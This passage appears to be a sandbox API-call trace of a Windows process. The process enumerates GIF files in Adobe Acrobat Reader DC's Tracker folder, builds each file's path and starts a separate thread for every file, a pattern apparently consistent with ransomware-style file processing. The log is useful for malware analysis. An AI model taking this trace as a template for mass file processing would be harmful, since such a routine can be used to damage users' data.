	[0089.733] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1
	[0089.733] wcscmp (_String1="open_original_form.gif", _String2=".") returned 1
	[0089.733] wcscmp (_String1="open_original_form.gif", _String2="..") returned 1
	[0089.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481add0
	[0089.733] wcscpy (in: _Dest=0x481add0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.733] wcscat (in: _Dest=0x481add0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.733] wcscat (in: _Dest=0x481add0, _Source="open_original_form.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\open_original_form.gif"
	[0089.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481add0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de8
	[0089.734] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdf.gif", cAlternateFileName="")) returned 1
	[0089.734] wcscmp (_String1="pdf.gif", _String2=".") returned 1
	[0089.734] wcscmp (_String1="pdf.gif", _String2="..") returned 1
	[0089.734] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e305d8
	[0089.734] wcscpy (in: _Dest=0x4e305d8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.734] wcscat (in: _Dest=0x4e305d8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.734] wcscat (in: _Dest=0x4e305d8, _Source="pdf.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\pdf.gif"
	[0089.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e305d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dec
	[0089.735] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviewers.gif", cAlternateFileName="RE16B1~1.GIF")) returned 1
	[0089.735] wcscmp (_String1="reviewers.gif", _String2=".") returned 1
	[0089.735] wcscmp (_String1="reviewers.gif", _String2="..") returned 1
	[0089.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894c80
	[0089.735] wcscpy (in: _Dest=0x4894c80, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.735] wcscat (in: _Dest=0x4894c80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.735] wcscat (in: _Dest=0x4894c80, _Source="reviewers.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviewers.gif"
	[0089.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df0
	[0089.735] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1
	[0089.736] wcscmp (_String1="reviews_joined.gif", _String2=".") returned 1
	[0089.736] wcscmp (_String1="reviews_joined.gif", _String2="..") returned 1
	[0089.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5e748
	[0089.736] wcscpy (in: _Dest=0x2d5e748, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.736] wcscat (in: _Dest=0x2d5e748, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.736] wcscat (in: _Dest=0x2d5e748, _Source="reviews_joined.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_joined.gif"
	[0089.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df4
	[0089.736] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1
	[0089.736] wcscmp (_String1="reviews_sent.gif", _String2=".") returned 1
	[0089.736] wcscmp (_String1="reviews_sent.gif", _String2="..") returned 1
	[0089.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f3b8
	[0089.736] wcscpy (in: _Dest=0x2d7f3b8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.736] wcscat (in: _Dest=0x2d7f3b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.736] wcscat (in: _Dest=0x2d7f3b8, _Source="reviews_sent.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_sent.gif"
	[0089.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f3b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df8
	[0089.737] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1
	[0089.737] wcscmp (_String1="reviews_super.gif", _String2=".") returned 1
	[0089.737] wcscmp (_String1="reviews_super.gif", _String2="..") returned 1
	[0089.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f460
	[0089.737] wcscpy (in: _Dest=0x2d7f460, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.737] wcscat (in: _Dest=0x2d7f460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.737] wcscat (in: _Dest=0x2d7f460, _Source="reviews_super.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\reviews_super.gif"
	[0089.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dfc
	[0089.738] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_browser.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1
	[0089.738] wcscmp (_String1="review_browser.gif", _String2=".") returned 1
	[0089.738] wcscmp (_String1="review_browser.gif", _String2="..") returned 1
	[0089.738] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5e958
	[0089.738] wcscpy (in: _Dest=0x2d5e958, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.738] wcscat (in: _Dest=0x2d5e958, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.738] wcscat (in: _Dest=0x2d5e958, _Source="review_browser.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_browser.gif"
	[0089.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d5e958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e00
	[0089.739] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1
	[0089.739] wcscmp (_String1="review_email.gif", _String2=".") returned 1
	[0089.739] wcscmp (_String1="review_email.gif", _String2="..") returned 1
	[0089.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f700
	[0089.739] wcscpy (in: _Dest=0x2d7f700, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.739] wcscat (in: _Dest=0x2d7f700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.739] wcscat (in: _Dest=0x2d7f700, _Source="review_email.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_email.gif"
	[0089.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e04
	[0089.740] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_same_reviewers.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1
	[0089.740] wcscmp (_String1="review_same_reviewers.gif", _String2=".") returned 1
	[0089.740] wcscmp (_String1="review_same_reviewers.gif", _String2="..") returned 1
	[0089.740] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b168
	[0089.740] wcscpy (in: _Dest=0x481b168, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.740] wcscat (in: _Dest=0x481b168, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.740] wcscat (in: _Dest=0x481b168, _Source="review_same_reviewers.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_same_reviewers.gif"
	[0089.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e08
	[0089.740] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x0, cFileName="review_shared.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1
	[0089.740] wcscmp (_String1="review_shared.gif", _String2=".") returned 1
	[0089.741] wcscmp (_String1="review_shared.gif", _String2="..") returned 1
	[0089.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f658
	[0089.741] wcscpy (in: _Dest=0x2d7f658, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.741] wcscat (in: _Dest=0x2d7f658, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.741] wcscat (in: _Dest=0x2d7f658, _Source="review_shared.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\review_shared.gif"
	[0089.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0c
	[0089.741] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="rss.gif", cAlternateFileName="")) returned 1
	[0089.741] wcscmp (_String1="rss.gif", _String2=".") returned 1
	[0089.741] wcscmp (_String1="rss.gif", _String2="..") returned 1
	[0089.741] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8c) returned 0x4e30e28
	[0089.741] wcscpy (in: _Dest=0x4e30e28, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.741] wcscat (in: _Dest=0x4e30e28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.741] wcscat (in: _Dest=0x4e30e28, _Source="rss.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\rss.gif"
	[0089.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e30e28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e10
	[0089.742] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_issue.gif", cAlternateFileName="SERVER~1.GIF")) returned 1
	[0089.742] wcscmp (_String1="server_issue.gif", _String2=".") returned 1
	[0089.742] wcscmp (_String1="server_issue.gif", _String2="..") returned 1
	[0089.742] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f9a0
	[0089.742] wcscpy (in: _Dest=0x2d7f9a0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.742] wcscat (in: _Dest=0x2d7f9a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.742] wcscat (in: _Dest=0x2d7f9a0, _Source="server_issue.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_issue.gif"
	[0089.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7f9a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e14
	[0089.743] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_lg.gif", cAlternateFileName="SERVER~2.GIF")) returned 1
	[0089.743] wcscmp (_String1="server_lg.gif", _String2=".") returned 1
	[0089.743] wcscmp (_String1="server_lg.gif", _String2="..") returned 1
	[0089.743] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894dc0
	[0089.743] wcscpy (in: _Dest=0x4894dc0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.743] wcscat (in: _Dest=0x4894dc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.743] wcscat (in: _Dest=0x4894dc0, _Source="server_lg.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_lg.gif"
	[0089.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4894dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e18
	[0089.744] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="server_ok.gif", cAlternateFileName="SERVER~3.GIF")) returned 1
	[0089.744] wcscmp (_String1="server_ok.gif", _String2=".") returned 1
	[0089.744] wcscmp (_String1="server_ok.gif", _String2="..") returned 1
	[0089.744] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4895220
	[0089.744] wcscpy (in: _Dest=0x4895220, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
	[0089.744] wcscat (in: _Dest=0x4895220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\"
	[0089.744] wcscat (in: _Dest=0x4895220, _Source="server_ok.gif" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker\\server_ok.gif"
	[0089.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4895220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e1c
	[0089.744] FindNextFileW (in: hFindFile=0x477b328, lpFindFileData=0x2ddf548 | out: lpFindFileData=0x2ddf548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1
	[0089.745] wcscmp (_String1="stop_collection_data.gif", _String2=".") returned 1
	[0089.745] wcscmp (_String1="stop_collection_data.gif", _String2="..") returned 1
	[0089.745] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481b220
	[0089.745] wcscpy (in: _Dest=0x481b220, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Tracker"
